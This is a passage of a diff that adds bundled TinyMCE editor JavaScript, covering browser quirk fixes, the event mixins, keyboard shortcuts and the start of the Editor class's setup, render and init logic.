+		removeBlockQuoteOnBackSpace();
+		emptyEditorWhenDeleting();
+		normalizeSelection();
+
+		// WebKit
+		if (isWebKit) {
+			cleanupStylesWhenDeleting();
+			inputMethodFocus();
+			selectControlElements();
+			setDefaultBlockType();
+			blockFormSubmitInsideEditor();
+			disableBackspaceIntoATable();
+			removeAppleInterchangeBrs();
+			touchClickEvent();
+
+			// iOS
+			if (Env.iOS) {
+				restoreFocusOnKeyDown();
+				bodyHeight();
+				tapLinksAndImages();
+			} else {
+				selectAll();
+			}
+		}
+
+		// IE
+		if (isIE && Env.ie < 11) {
+			removeHrOnBackspace();
+			ensureBodyHasRoleApplication();
+			addNewLinesBeforeBrInPre();
+			removePreSerializedStylesWhenSelectingControls();
+			deleteControlItemOnBackSpace();
+			renderEmptyBlocksFix();
+			keepNoScriptContents();
+			fixCaretSelectionOfDocumentElementOnIe();
+		}
+
+		if (Env.ie >= 11) {
+			bodyHeight();
+			doubleTrailingBrElements();
+			disableBackspaceIntoATable();
+		}
+
+		if (Env.ie) {
+			selectAll();
+			disableAutoUrlDetect();
+		}
+
+		// Gecko
+		if (isGecko) {
+			removeHrOnBackspace();
+			focusBody();
+			removeStylesWhenDeletingAcrossBlockElements();
+			setGeckoEditingOptions();
+			addBrAfterLastLinks();
+			removeGhostSelection();
+			showBrokenImageIcon();
+			blockCmdArrowNavigation();
+			disableBackspaceIntoATable();
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/util/Observable.js
+
+/**
+ * Observable.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This mixin will add event binding logic to classes.
+ *
+ * @mixin tinymce.util.Observable
+ */
+define("tinymce/util/Observable", [
+	"tinymce/util/EventDispatcher"
+], function(EventDispatcher) {
+	function getEventDispatcher(obj) {
+		if (!obj._eventDispatcher) {
+			obj._eventDispatcher = new EventDispatcher({
+				scope: obj,
+				toggleEvent: function(name, state) {
+					if (EventDispatcher.isNative(name) && obj.toggleNativeEvent) {
+						obj.toggleNativeEvent(name, state);
+					}
+				}
+			});
+		}
+
+		return obj._eventDispatcher;
+	}
+
+	return {
+		/**
+		 * Fires the specified event by name.
+		 *
+		 * @method fire
+		 * @param {String} name Name of the event to fire.
+		 * @param {Object?} args Event arguments.
+		 * @param {Boolean?} bubble True/false if the event is to be bubbled.
+		 * @return {Object} Event args instance passed in.
+		 * @example
+		 * instance.fire('event', {...});
+		 */
+		fire: function(name, args, bubble) {
+			var self = this;
+
+			// Prevent all events except the remove event after the instance has been removed
+			if (self.removed && name !== "remove") {
+				return args;
+			}
+
+			args = getEventDispatcher(self).fire(name, args, bubble);
+
+			// Bubble event up to parents
+			if (bubble !== false && self.parent) {
+				var parent = self.parent();
+				while (parent && !args.isPropagationStopped()) {
+					parent.fire(name, args, false);
+					parent = parent.parent();
+				}
+			}
+
+			return args;
+		},
+
+		/**
+		 * Binds an event listener to a specific event by name.
+		 *
+		 * @method on
+		 * @param {String} name Event name or space separated list of events to bind.
+		 * @param {callback} callback Callback to be executed when the event occurs.
+		 * @param {Boolean} first Optional flag if the event should be prepended. Use this with care.
+		 * @return {Object} Current class instance.
+		 * @example
+		 * instance.on('event', function(e) {
+		 *     // Callback logic
+		 * });
+		 */
+		on: function(name, callback, prepend) {
+			return getEventDispatcher(this).on(name, callback, prepend);
+		},
+
+		/**
+		 * Unbinds an event listener to a specific event by name.
+		 *
+		 * @method off
+		 * @param {String?} name Name of the event to unbind.
+		 * @param {callback?} callback Callback to unbind.
+		 * @return {Object} Current class instance.
+		 * @example
+		 * // Unbind specific callback
+		 * instance.off('event', handler);
+		 *
+		 * // Unbind all listeners by name
+		 * instance.off('event');
+		 *
+		 * // Unbind all events
+		 * instance.off();
+		 */
+		off: function(name, callback) {
+			return getEventDispatcher(this).off(name, callback);
+		},
+
+		/**
+		 * Bind the event callback and once it fires the callback is removed.
+		 *
+		 * @method once
+		 * @param {String} name Name of the event to bind.
+		 * @param {callback} callback Callback to bind only once.
+		 * @return {Object} Current class instance.
+		 */
+		once: function(name, callback) {
+			return getEventDispatcher(this).once(name, callback);
+		},
+
+		/**
+		 * Returns true/false if the object has a event of the specified name.
+		 *
+		 * @method hasEventListeners
+		 * @param {String} name Name of the event to check for.
+		 * @return {Boolean} true/false if the event exists or not.
+		 */
+		hasEventListeners: function(name) {
+			return getEventDispatcher(this).has(name);
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/EditorObservable.js
+
+/**
+ * EditorObservable.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This mixin contains the event logic for the tinymce.Editor class.
+ *
+ * @mixin tinymce.EditorObservable
+ * @extends tinymce.util.Observable
+ */
+define("tinymce/EditorObservable", [
+	"tinymce/util/Observable",
+	"tinymce/dom/DOMUtils",
+	"tinymce/util/Tools"
+], function(Observable, DOMUtils, Tools) {
+	var DOM = DOMUtils.DOM, customEventRootDelegates;
+
+	/**
+	 * Returns the event target so for the specified event. Some events fire
+	 * only on document, some fire on documentElement etc. This also handles the
+	 * custom event root setting where it returns that element instead of the body.
+	 *
+	 * @private
+	 * @param {tinymce.Editor} editor Editor instance to get event target from.
+	 * @param {String} eventName Name of the event for example "click".
+	 * @return {Element/Document} HTML Element or document target to bind on.
+	 */
+	function getEventTarget(editor, eventName) {
+		if (eventName == 'selectionchange') {
+			return editor.getDoc();
+		}
+
+		// Need to bind mousedown/mouseup etc to document not body in iframe mode
+		// Since the user might click on the HTML element not the BODY
+		if (!editor.inline && /^mouse|click|contextmenu|drop|dragover|dragend/.test(eventName)) {
+			return editor.getDoc().documentElement;
+		}
+
+		// Bind to event root instead of body if it's defined
+		if (editor.settings.event_root) {
+			if (!editor.eventRoot) {
+				editor.eventRoot = DOM.select(editor.settings.event_root)[0];
+			}
+
+			return editor.eventRoot;
+		}
+
+		return editor.getBody();
+	}
+
+	/**
+	 * Binds a event delegate for the specified name this delegate will fire
+	 * the event to the editor dispatcher.
+	 *
+	 * @private
+	 * @param {tinymce.Editor} editor Editor instance to get event target from.
+	 * @param {String} eventName Name of the event for example "click".
+	 */
+	function bindEventDelegate(editor, eventName) {
+		var eventRootElm = getEventTarget(editor, eventName), delegate;
+
+		if (!editor.delegates) {
+			editor.delegates = {};
+		}
+
+		if (editor.delegates[eventName]) {
+			return;
+		}
+
+		if (editor.settings.event_root) {
+			if (!customEventRootDelegates) {
+				customEventRootDelegates = {};
+				editor.editorManager.on('removeEditor', function() {
+					var name;
+
+					if (!editor.editorManager.activeEditor) {
+						if (customEventRootDelegates) {
+							for (name in customEventRootDelegates) {
+								editor.dom.unbind(getEventTarget(editor, name));
+							}
+
+							customEventRootDelegates = null;
+						}
+					}
+				});
+			}
+
+			if (customEventRootDelegates[eventName]) {
+				return;
+			}
+
+			delegate = function(e) {
+				var target = e.target, editors = editor.editorManager.editors, i = editors.length;
+
+				while (i--) {
+					var body = editors[i].getBody();
+
+					if (body === target || DOM.isChildOf(target, body)) {
+						if (!editors[i].hidden) {
+							editors[i].fire(eventName, e);
+						}
+					}
+				}
+			};
+
+			customEventRootDelegates[eventName] = delegate;
+			DOM.bind(eventRootElm, eventName, delegate);
+		} else {
+			delegate = function(e) {
+				if (!editor.hidden) {
+					editor.fire(eventName, e);
+				}
+			};
+
+			DOM.bind(eventRootElm, eventName, delegate);
+			editor.delegates[eventName] = delegate;
+		}
+	}
+
+	var EditorObservable = {
+		/**
+		 * Bind any pending event delegates. This gets executed after the target body/document is created.
+		 *
+		 * @private
+		 */
+		bindPendingEventDelegates: function() {
+			var self = this;
+
+			Tools.each(self._pendingNativeEvents, function(name) {
+				bindEventDelegate(self, name);
+			});
+		},
+
+		/**
+		 * Toggles a native event on/off this is called by the EventDispatcher when
+		 * the first native event handler is added and when the last native event handler is removed.
+		 *
+		 * @private
+		 */
+		toggleNativeEvent: function(name, state) {
+			var self = this;
+
+			if (self.settings.readonly) {
+				return;
+			}
+
+			// Never bind focus/blur since the FocusManager fakes those
+			if (name == "focus" || name == "blur") {
+				return;
+			}
+
+			if (state) {
+				if (self.initialized) {
+					bindEventDelegate(self, name);
+				} else {
+					if (!self._pendingNativeEvents) {
+						self._pendingNativeEvents = [name];
+					} else {
+						self._pendingNativeEvents.push(name);
+					}
+				}
+			} else if (self.initialized) {
+				self.dom.unbind(getEventTarget(self, name), name, self.delegates[name]);
+				delete self.delegates[name];
+			}
+		},
+
+		/**
+		 * Unbinds all native event handlers that means delegates, custom events bound using the Events API etc.
+		 *
+		 * @private
+		 */
+		unbindAllNativeEvents: function() {
+			var self = this, name;
+
+			if (self.delegates) {
+				for (name in self.delegates) {
+					self.dom.unbind(getEventTarget(self, name), name, self.delegates[name]);
+				}
+
+				delete self.delegates;
+			}
+
+			if (!self.inline) {
+				self.getBody().onload = null;
+				self.dom.unbind(self.getWin());
+				self.dom.unbind(self.getDoc());
+			}
+
+			self.dom.unbind(self.getBody());
+			self.dom.unbind(self.getContainer());
+		}
+	};
+
+	EditorObservable = Tools.extend({}, Observable, EditorObservable);
+
+	return EditorObservable;
+});
+
+// Included from: js/tinymce/classes/Shortcuts.js
+
+/**
+ * Shortcuts.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Contains all logic for handling of keyboard shortcuts.
+ */
+define("tinymce/Shortcuts", [
+	"tinymce/util/Tools",
+	"tinymce/Env"
+], function(Tools, Env) {
+	var each = Tools.each, explode = Tools.explode;
+
+	var keyCodeLookup = {
+		"f9": 120,
+		"f10": 121,
+		"f11": 122
+	};
+
+	return function(editor) {
+		var self = this, shortcuts = {};
+
+		editor.on('keyup keypress keydown', function(e) {
+			if ((e.altKey || e.ctrlKey || e.metaKey) && !e.isDefaultPrevented()) {
+				each(shortcuts, function(shortcut) {
+					var ctrlKey = Env.mac ? e.metaKey : e.ctrlKey;
+
+					if (shortcut.ctrl != ctrlKey || shortcut.alt != e.altKey || shortcut.shift != e.shiftKey) {
+						return;
+					}
+
+					if (e.keyCode == shortcut.keyCode || (e.charCode && e.charCode == shortcut.charCode)) {
+						e.preventDefault();
+
+						if (e.type == "keydown") {
+							shortcut.func.call(shortcut.scope);
+						}
+
+						return true;
+					}
+				});
+			}
+		});
+
+		/**
+		 * Adds a keyboard shortcut for some command or function.
+		 *
+		 * @method addShortcut
+		 * @param {String} pattern Shortcut pattern. Like for example: ctrl+alt+o.
+		 * @param {String} desc Text description for the command.
+		 * @param {String/Function} cmdFunc Command name string or function to execute when the key is pressed.
+		 * @param {Object} sc Optional scope to execute the function in.
+		 * @return {Boolean} true/false state if the shortcut was added or not.
+		 */
+		self.add = function(pattern, desc, cmdFunc, scope) {
+			var cmd;
+
+			cmd = cmdFunc;
+
+			if (typeof(cmdFunc) === 'string') {
+				cmdFunc = function() {
+					editor.execCommand(cmd, false, null);
+				};
+			} else if (Tools.isArray(cmd)) {
+				cmdFunc = function() {
+					editor.execCommand(cmd[0], cmd[1], cmd[2]);
+				};
+			}
+
+			each(explode(pattern.toLowerCase()), function(pattern) {
+				var shortcut = {
+					func: cmdFunc,
+					scope: scope || editor,
+					desc: editor.translate(desc),
+					alt: false,
+					ctrl: false,
+					shift: false
+				};
+
+				each(explode(pattern, '+'), function(value) {
+					switch (value) {
+						case 'alt':
+						case 'ctrl':
+						case 'shift':
+							shortcut[value] = true;
+							break;
+
+						default:
+							// Allow numeric keycodes like ctrl+219 for ctrl+[
+							if (/^[0-9]{2,}$/.test(value)) {
+								shortcut.keyCode = parseInt(value, 10);
+							} else {
+								shortcut.charCode = value.charCodeAt(0);
+								shortcut.keyCode = keyCodeLookup[value] || value.toUpperCase().charCodeAt(0);
+							}
+					}
+				});
+
+				shortcuts[
+					(shortcut.ctrl ? 'ctrl' : '') + ',' +
+					(shortcut.alt ? 'alt' : '') + ',' +
+					(shortcut.shift ? 'shift' : '') + ',' +
+					shortcut.keyCode
+				] = shortcut;
+			});
+
+			return true;
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/Editor.js
+
+/**
+ * Editor.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint scripturl:true */
+
+/**
+ * Include the base event class documentation.
+ *
+ * @include ../../../tools/docs/tinymce.Event.js
+ */
+
+/**
+ * This class contains the core logic for a TinyMCE editor.
+ *
+ * @class tinymce.Editor
+ * @mixes tinymce.util.Observable
+ * @example
+ * // Add a class to all paragraphs in the editor.
+ * tinymce.activeEditor.dom.addClass(tinymce.activeEditor.dom.select('p'), 'someclass');
+ *
+ * // Gets the current editors selection as text
+ * tinymce.activeEditor.selection.getContent({format: 'text'});
+ *
+ * // Creates a new editor instance
+ * var ed = new tinymce.Editor('textareaid', {
+ *     some_setting: 1
+ * }, tinymce.EditorManager);
+ *
+ * // Select each item the user clicks on
+ * ed.on('click', function(e) {
+ *     ed.selection.select(e.target);
+ * });
+ *
+ * ed.render();
+ */
+define("tinymce/Editor", [
+	"tinymce/dom/DOMUtils",
+	"tinymce/dom/DomQuery",
+	"tinymce/AddOnManager",
+	"tinymce/NodeChange",
+	"tinymce/html/Node",
+	"tinymce/dom/Serializer",
+	"tinymce/html/Serializer",
+	"tinymce/dom/Selection",
+	"tinymce/Formatter",
+	"tinymce/UndoManager",
+	"tinymce/EnterKey",
+	"tinymce/ForceBlocks",
+	"tinymce/EditorCommands",
+	"tinymce/util/URI",
+	"tinymce/dom/ScriptLoader",
+	"tinymce/dom/EventUtils",
+	"tinymce/WindowManager",
+	"tinymce/html/Schema",
+	"tinymce/html/DomParser",
+	"tinymce/util/Quirks",
+	"tinymce/Env",
+	"tinymce/util/Tools",
+	"tinymce/EditorObservable",
+	"tinymce/Shortcuts"
+], function(
+	DOMUtils, DomQuery, AddOnManager, NodeChange, Node, DomSerializer, Serializer,
+	Selection, Formatter, UndoManager, EnterKey, ForceBlocks, EditorCommands,
+	URI, ScriptLoader, EventUtils, WindowManager,
+	Schema, DomParser, Quirks, Env, Tools, EditorObservable, Shortcuts
+) {
+	// Shorten these names
+	var DOM = DOMUtils.DOM, ThemeManager = AddOnManager.ThemeManager, PluginManager = AddOnManager.PluginManager;
+	var extend = Tools.extend, each = Tools.each, explode = Tools.explode;
+	var inArray = Tools.inArray, trim = Tools.trim, resolve = Tools.resolve;
+	var Event = EventUtils.Event;
+	var isGecko = Env.gecko, ie = Env.ie;
+
+	/**
+	 * Include documentation for all the events.
+	 *
+	 * @include ../../../tools/docs/tinymce.Editor.js
+	 */
+
+	/**
+	 * Constructs a editor instance by id.
+	 *
+	 * @constructor
+	 * @method Editor
+	 * @param {String} id Unique id for the editor.
+	 * @param {Object} settings Settings for the editor.
+	 * @param {tinymce.EditorManager} editorManager EditorManager instance.
+	 * @author Moxiecode
+	 */
+	function Editor(id, settings, editorManager) {
+		var self = this, documentBaseUrl, baseUri;
+
+		documentBaseUrl = self.documentBaseUrl = editorManager.documentBaseURL;
+		baseUri = editorManager.baseURI;
+
+		/**
+		 * Name/value collection with editor settings.
+		 *
+		 * @property settings
+		 * @type Object
+		 * @example
+		 * // Get the value of the theme setting
+		 * tinymce.activeEditor.windowManager.alert("You are using the " + tinymce.activeEditor.settings.theme + " theme");
+		 */
+		self.settings = settings = extend({
+			id: id,
+			theme: 'modern',
+			delta_width: 0,
+			delta_height: 0,
+			popup_css: '',
+			plugins: '',
+			document_base_url: documentBaseUrl,
+			add_form_submit_trigger: true,
+			submit_patch: true,
+			add_unload_trigger: true,
+			convert_urls: true,
+			relative_urls: true,
+			remove_script_host: true,
+			object_resizing: true,
+			doctype: '<!DOCTYPE html>',
+			visual: true,
+			font_size_style_values: 'xx-small,x-small,small,medium,large,x-large,xx-large',
+
+			// See: http://www.w3.org/TR/CSS2/fonts.html#propdef-font-size
+			font_size_legacy_values: 'xx-small,small,medium,large,x-large,xx-large,300%',
+			forced_root_block: 'p',
+			hidden_input: true,
+			padd_empty_editor: true,
+			render_ui: true,
+			indentation: '30px',
+			inline_styles: true,
+			convert_fonts_to_spans: true,
+			indent: 'simple',
+			indent_before: 'p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,ol,li,dl,dt,dd,area,table,thead,' +
+				'tfoot,tbody,tr,section,article,hgroup,aside,figure,option,optgroup,datalist',
+			indent_after: 'p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,ol,li,dl,dt,dd,area,table,thead,' +
+				'tfoot,tbody,tr,section,article,hgroup,aside,figure,option,optgroup,datalist',
+			validate: true,
+			entity_encoding: 'named',
+			url_converter: self.convertURL,
+			url_converter_scope: self,
+			ie7_compat: true
+		}, settings);
+
+		AddOnManager.language = settings.language || 'en';
+		AddOnManager.languageLoad = settings.language_load;
+
+		AddOnManager.baseURL = editorManager.baseURL;
+
+		/**
+		 * Editor instance id, normally the same as the div/textarea that was replaced.
+		 *
+		 * @property id
+		 * @type String
+		 */
+		self.id = settings.id = id;
+
+		/**
+		 * State to force the editor to return false on a isDirty call.
+		 *
+		 * @property isNotDirty
+		 * @type Boolean
+		 * @example
+		 * function ajaxSave() {
+		 *     var ed = tinymce.get('elm1');
+		 *
+		 *     // Save contents using some XHR call
+		 *     alert(ed.getContent());
+		 *
+		 *     ed.isNotDirty = true; // Force not dirty state
+		 * }
+		 */
+		self.isNotDirty = true;
+
+		/**
+		 * Name/Value object containting plugin instances.
+		 *
+		 * @property plugins
+		 * @type Object
+		 * @example
+		 * // Execute a method inside a plugin directly
+		 * tinymce.activeEditor.plugins.someplugin.someMethod();
+		 */
+		self.plugins = {};
+
+		/**
+		 * URI object to document configured for the TinyMCE instance.
+		 *
+		 * @property documentBaseURI
+		 * @type tinymce.util.URI
+		 * @example
+		 * // Get relative URL from the location of document_base_url
+		 * tinymce.activeEditor.documentBaseURI.toRelative('/somedir/somefile.htm');
+		 *
+		 * // Get absolute URL from the location of document_base_url
+		 * tinymce.activeEditor.documentBaseURI.toAbsolute('somefile.htm');
+		 */
+		self.documentBaseURI = new URI(settings.document_base_url || documentBaseUrl, {
+			base_uri: baseUri
+		});
+
+		/**
+		 * URI object to current document that holds the TinyMCE editor instance.
+		 *
+		 * @property baseURI
+		 * @type tinymce.util.URI
+		 * @example
+		 * // Get relative URL from the location of the API
+		 * tinymce.activeEditor.baseURI.toRelative('/somedir/somefile.htm');
+		 *
+		 * // Get absolute URL from the location of the API
+		 * tinymce.activeEditor.baseURI.toAbsolute('somefile.htm');
+		 */
+		self.baseURI = baseUri;
+
+		/**
+		 * Array with CSS files to load into the iframe.
+		 *
+		 * @property contentCSS
+		 * @type Array
+		 */
+		self.contentCSS = [];
+
+		/**
+		 * Array of CSS styles to add to head of document when the editor loads.
+		 *
+		 * @property contentStyles
+		 * @type Array
+		 */
+		self.contentStyles = [];
+
+		// Creates all events like onClick, onSetContent etc see Editor.Events.js for the actual logic
+		self.shortcuts = new Shortcuts(self);
+
+		// Internal command handler objects
+		self.execCommands = {};
+		self.queryStateCommands = {};
+		self.queryValueCommands = {};
+		self.loadedCSS = {};
+
+		if (settings.target) {
+			self.targetElm = settings.target;
+		}
+
+		self.suffix = editorManager.suffix;
+		self.editorManager = editorManager;
+		self.inline = settings.inline;
+
+		if (settings.cache_suffix) {
+			Env.cacheSuffix = settings.cache_suffix.replace(/^[\?\&]+/, '');
+		}
+
+		// Call setup
+		editorManager.fire('SetupEditor', self);
+		self.execCallback('setup', self);
+
+		/**
+		 * Dom query instance with default scope to the editor document and default element is the body of the editor.
+		 *
+		 * @property $
+		 * @type tinymce.dom.DomQuery
+		 * @example
+		 * tinymce.activeEditor.$('p').css('color', 'red');
+		 * tinymce.activeEditor.$().append('<p>new</p>');
+		 */
+		self.$ = DomQuery.overrideDefaults(function() {
+			return {
+				context: self.inline ? self.getBody() : self.getDoc(),
+				element: self.getBody()
+			};
+		});
+	}
+
+	Editor.prototype = {
+		/**
+		 * Renderes the editor/adds it to the page.
+		 *
+		 * @method render
+		 */
+		render: function() {
+			var self = this, settings = self.settings, id = self.id, suffix = self.suffix;
+
+			function readyHandler() {
+				DOM.unbind(window, 'ready', readyHandler);
+				self.render();
+			}
+
+			// Page is not loaded yet, wait for it
+			if (!Event.domLoaded) {
+				DOM.bind(window, 'ready', readyHandler);
+				return;
+			}
+
+			// Element not found, then skip initialization
+			if (!self.getElement()) {
+				return;
+			}
+
+			// No editable support old iOS versions etc
+			if (!Env.contentEditable) {
+				return;
+			}
+
+			// Hide target element early to prevent content flashing
+			if (!settings.inline) {
+				self.orgVisibility = self.getElement().style.visibility;
+				self.getElement().style.visibility = 'hidden';
+			} else {
+				self.inline = true;
+			}
+
+			var form = self.getElement().form || DOM.getParent(id, 'form');
+			if (form) {
+				self.formElement = form;
+
+				// Add hidden input for non input elements inside form elements
+				if (settings.hidden_input && !/TEXTAREA|INPUT/i.test(self.getElement().nodeName)) {
+					DOM.insertAfter(DOM.create('input', {type: 'hidden', name: id}), id);
+					self.hasHiddenInput = true;
+				}
+
+				// Pass submit/reset from form to editor instance
+				self.formEventDelegate = function(e) {
+					self.fire(e.type, e);
+				};
+
+				DOM.bind(form, 'submit reset', self.formEventDelegate);
+
+				// Reset contents in editor when the form is reset
+				self.on('reset', function() {
+					self.setContent(self.startContent, {format: 'raw'});
+				});
+
+				// Check page uses id="submit" or name="submit" for it's submit button
+				if (settings.submit_patch && !form.submit.nodeType && !form.submit.length && !form._mceOldSubmit) {
+					form._mceOldSubmit = form.submit;
+					form.submit = function() {
+						self.editorManager.triggerSave();
+						self.isNotDirty = true;
+
+						return form._mceOldSubmit(form);
+					};
+				}
+			}
+
+			/**
+			 * Window manager reference, use this to open new windows and dialogs.
+			 *
+			 * @property windowManager
+			 * @type tinymce.WindowManager
+			 * @example
+			 * // Shows an alert message
+			 * tinymce.activeEditor.windowManager.alert('Hello world!');
+			 *
+			 * // Opens a new dialog with the file.htm file and the size 320x240
+			 * // It also adds a custom parameter this can be retrieved by using tinyMCEPopup.getWindowArg inside the dialog.
+			 * tinymce.activeEditor.windowManager.open({
+			 *    url: 'file.htm',
+			 *    width: 320,
+			 *    height: 240
+			 * }, {
+			 *    custom_param: 1
+			 * });
+			 */
+			self.windowManager = new WindowManager(self);
+
+			if (settings.encoding == 'xml') {
+				self.on('GetContent', function(e) {
+					if (e.save) {
+						e.content = DOM.encode(e.content);
+					}
+				});
+			}
+
+			if (settings.add_form_submit_trigger) {
+				self.on('submit', function() {
+					if (self.initialized) {
+						self.save();
+					}
+				});
+			}
+
+			if (settings.add_unload_trigger) {
+				self._beforeUnload = function() {
+					if (self.initialized && !self.destroyed && !self.isHidden()) {
+						self.save({format: 'raw', no_events: true, set_dirty: false});
+					}
+				};
+
+				self.editorManager.on('BeforeUnload', self._beforeUnload);
+			}
+
+			// Load scripts
+			function loadScripts() {
+				var scriptLoader = ScriptLoader.ScriptLoader;
+
+				if (settings.language && settings.language != 'en' && !settings.language_url) {
+					settings.language_url = self.editorManager.baseURL + '/langs/' + settings.language + '.js';
+				}
+
+				if (settings.language_url) {
+					scriptLoader.add(settings.language_url);
+				}
+
+				if (settings.theme && typeof settings.theme != "function" &&
+					settings.theme.charAt(0) != '-' && !ThemeManager.urls[settings.theme]) {
+					var themeUrl = settings.theme_url;
+
+					if (themeUrl) {
+						themeUrl = self.documentBaseURI.toAbsolute(themeUrl);
+					} else {
+						themeUrl = 'themes/' + settings.theme + '/theme' + suffix + '.js';
+					}
+
+					ThemeManager.load(settings.theme, themeUrl);
+				}
+
+				if (Tools.isArray(settings.plugins)) {
+					settings.plugins = settings.plugins.join(' ');
+				}
+
+				each(settings.external_plugins, function(url, name) {
+					PluginManager.load(name, url);
+					settings.plugins += ' ' + name;
+				});
+
+				each(settings.plugins.split(/[ ,]/), function(plugin) {
+					plugin = trim(plugin);
+
+					if (plugin && !PluginManager.urls[plugin]) {
+						if (plugin.charAt(0) == '-') {
+							plugin = plugin.substr(1, plugin.length);
+
+							var dependencies = PluginManager.dependencies(plugin);
+
+							each(dependencies, function(dep) {
+								var defaultSettings = {
+									prefix: 'plugins/',
+									resource: dep,
+									suffix: '/plugin' + suffix + '.js'
+								};
+
+								dep = PluginManager.createUrl(defaultSettings, dep);
+								PluginManager.load(dep.resource, dep);
+							});
+						} else {
+							PluginManager.load(plugin, {
+								prefix: 'plugins/',
+								resource: plugin,
+								suffix: '/plugin' + suffix + '.js'
+							});
+						}
+					}
+				});
+
+				scriptLoader.loadQueue(function() {
+					if (!self.removed) {
+						self.init();
+					}
+				});
+			}
+
+			loadScripts();
+		},
+
+		/**
+		 * Initializes the editor this will be called automatically when
+		 * all plugins/themes and language packs are loaded by the rendered method.
+		 * This method will setup the iframe and create the theme and plugin instances.
+		 *
+		 * @method init
+		 */
+		init: function() {
+			var self = this, settings = self.settings, elm = self.getElement();
+			var w, h, minHeight, n, o, Theme, url, bodyId, bodyClass, re, i, initializedPlugins = [];
+
+			self.rtl = this.editorManager.i18n.rtl;
+			self.editorManager.add(self);
+
+			settings.aria_label = settings.aria_label || DOM.getAttrib(elm, 'aria-label', self.getLang('aria.rich_text_area'));
+
+			/**
+			 * Reference to the theme instance that was used to generate the UI.
+			 *
+			 * @property theme
+			 * @type tinymce.Theme
+			 * @example
+			 * // Executes a method on the theme directly
+			 * tinymce.activeEditor.theme.someMethod();
+			 */
+			if (settings.theme) {
+				if (typeof settings.theme != "function") {
+					settings.theme = settings.theme.replace(/-/, '');
+					Theme = ThemeManager.get(settings.theme);
+					self.theme = new Theme(self, ThemeManager.urls[settings.theme]);
+
+					if (self.theme.init) {
+						self.theme.init(self, ThemeManager.urls[settings.theme] || self.documentBaseUrl.replace(/\/$/, ''), self.$);
+					}
+				} else {
+					self.theme = settings.theme;
+				}
+			}
+
+			function initPlugin(plugin) {
+				var Plugin = PluginManager.get(plugin), pluginUrl, pluginInstance;
+
+				pluginUrl = PluginManager.urls[plugin] || self.documentBaseUrl.replace(/\/$/, '');
+				plugin = trim(plugin);
+				if (Plugin && inArray(initializedPlugins, plugin) === -1) {
+					each(PluginManager.dependencies(plugin), function(dep) {
+						initPlugin(dep);
+					});
+
+					pluginInstance = new Plugin(self, pluginUrl, self.$);
+
+					self.plugins[plugin] = pluginInstance;
+
+					if (pluginInstance.init) {
+						pluginInstance.init(self, pluginUrl);
+						initializedPlugins.push(plugin);
+					}
+				}
+			}
+
+			// Create all plugins
+			each(settings.plugins.replace(/\-/g, '').split(/[ ,]/), initPlugin);
+
+			// Measure box
+			if (settings.render_ui && self.theme) {
+				self.orgDisplay = elm.style.display;
+
+				if (typeof settings.theme != "function") {
+					w = settings.width || elm.style.width || elm.offsetWidth;
+					h = settings.height || elm.style.height || elm.offsetHeight;
+					minHeight = settings.min_height || 100;
+					re = /^[0-9\.]+(|px)$/i;
+
+					if (re.test('' + w)) {
+						w = Math.max(parseInt(w, 10), 100);
+					}
+
+					if (re.test('' + h)) {
+						h = Math.max(parseInt(h, 10), minHeight);
+					}
+
+					// Render UI
+					o = self.theme.renderUI({
+						targetNode: elm,
+						width: w,
+						height: h,
+						deltaWidth: settings.delta_width,
+						deltaHeight: settings.delta_height
+					});
+
+					// Resize editor
+					if (!settings.content_editable) {
+						h = (o.iframeHeight || h) + (typeof(h) == 'number' ? (o.deltaHeight || 0) : '');
+						if (h < minHeight) {
+							h = minHeight;
+						}
+					}
+				} else {
+					o = settings.theme(self, elm);
+
+					// Convert element type to id:s
+					if (o.editorContainer.nodeType) {
+						o.editorContainer = o.editorContainer.id = o.editorContainer.id || self.id + "_parent";
+					}
+
+					// Convert element type to id:s
+					if (o.iframeContainer.nodeType) {
+						o.iframeContainer = o.iframeContainer.id = o.iframeContainer.id || self.id + "_iframecontainer";
+					}
+
+					// Use specified iframe height or the targets offsetHeight
+					h = o.iframeHeight || elm.offsetHeight;
+				}
+
+				self.editorContainer = o.editorContainer;
+			}
+
+			// Load specified content CSS last
+			if (settings.content_css) {
+				each(explode(settings.content_css), function(u) {
+					self.contentCSS.push(self.documentBaseURI.toAbsolute(u));
+				});
+			}
+
+			// Load specified content CSS last
+			if (settings.content_style) {
+				self.contentStyles.push(settings.content_style);
+			}
+
+			// Content editable mode ends here
+			if (settings.content_editable) {
+				elm = n = o = null; // Fix IE leak
+				return self.initContentBody();
+			}
+
+			self.iframeHTML = settings.doctype + '<html><head>';
+
+			// We only need to override paths if we have to
+			// IE has a bug where it remove site absolute urls to relative ones if this is specified
+			if (settings.document_base_url != self.documentBaseUrl) {
+				self.iframeHTML += '<base href="' + self.documentBaseURI.getURI() + '" />';
+			}
+
+			// IE8 doesn't support carets behind images setting ie7_compat would force IE8+ to run in IE7 compat mode.
+			if (!Env.caretAfter && settings.ie7_compat) {
+				self.iframeHTML += '<meta http-equiv="X-UA-Compatible" content="IE=7" />';
+			}
+
+			self.iframeHTML += '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
+
+			// Load the CSS by injecting them into the HTML this will reduce "flicker"
+			for (i = 0; i < self.contentCSS.length; i++) {
+				var cssUrl = self.contentCSS[i];
+				self.iframeHTML += (
+					'<link type="text/css" ' +
+						'rel="stylesheet" ' +
+						'href="' + Tools._addCacheSuffix(cssUrl) + '" />'
+				);
+				self.loadedCSS[cssUrl] = true;
+			}
+
+			bodyId = settings.body_id || 'tinymce';
+			if (bodyId.indexOf('=') != -1) {
+				bodyId = self.getParam('body_id', '', 'hash');
